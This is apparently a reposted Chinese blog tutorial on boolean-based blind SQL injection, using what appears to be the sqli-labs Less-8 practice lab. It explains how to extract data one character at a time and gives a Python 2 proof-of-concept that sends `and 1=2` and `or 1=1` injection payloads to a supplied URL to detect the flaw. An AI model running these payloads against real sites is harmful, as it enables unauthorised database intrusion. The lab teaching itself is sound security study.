渗透测试之POC基于布尔的sql盲注
程序员文章站
2022-06-13 12:58:51
...
基于布尔的盲注一般只能告诉我们true or fasle。
就比如你只能向系统提问,但是系统只能回答你是或者不是。
一般套路是先问数据库名字有多长,1,2,3,4直到回答出是,然后获取到数据库名字长度,然后数据库第一个字符是不是a,b,c,d....直到回答是,获取第一个字符,然后按照这个套路获取到第二个第三个字符最后获取到数据库名称,然后再问表,字段。。
还有另一个套路直接字典的,不过这个对字典的要求就高了。
转过来说说我们的poc
先看看我们的测试环境:
当id存在时就会显示 you are in..... 当id不存在时就会显示为空
那么这个时候可以用 or 1=1 and 1=2的方式去验证
id 为任意,or 1=1 则会显示全部
id为任意,and 1=1 则会显示为空
所以可以通过判断关键字 you are in 是否存在 从而判断是否存在sql注入
下面开始用python写无框架的poc
#coding:utf-8
import requests
import sys
import re
def verify(url):
target = url + "/Less-8/"
playload1 = target + "?id=1' and 1=2 %23"
playload2 = target + "?id=1' or 1=1 %23"
try:
flag1 = False
flag2 = False
#发送playload1
req1 = requests.get(playload1)
response1 = req1.text
#print response1
if response1:
#查找关键字 You are in
if not re.search('You are in',response1):
flag1 = True
req2 = requests.get(playload2)
response2 = req2.text
#print response2
if response2:
#查找关键字 You are in
if re.search('You are in',response2):
flag2 = True
print flag1,flag2
if flag1 == flag2 and flag1 is True:
print "%s is vulnerable" %playload2
else:
print "%s is not vulnerable" %playload2
except Exception,e:
print "Something happend...."
print e
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
#print url
verify(url)
else:
print "Usage:python %s url"%(args[0])
if __name__ == '__main__':
main()
测试效果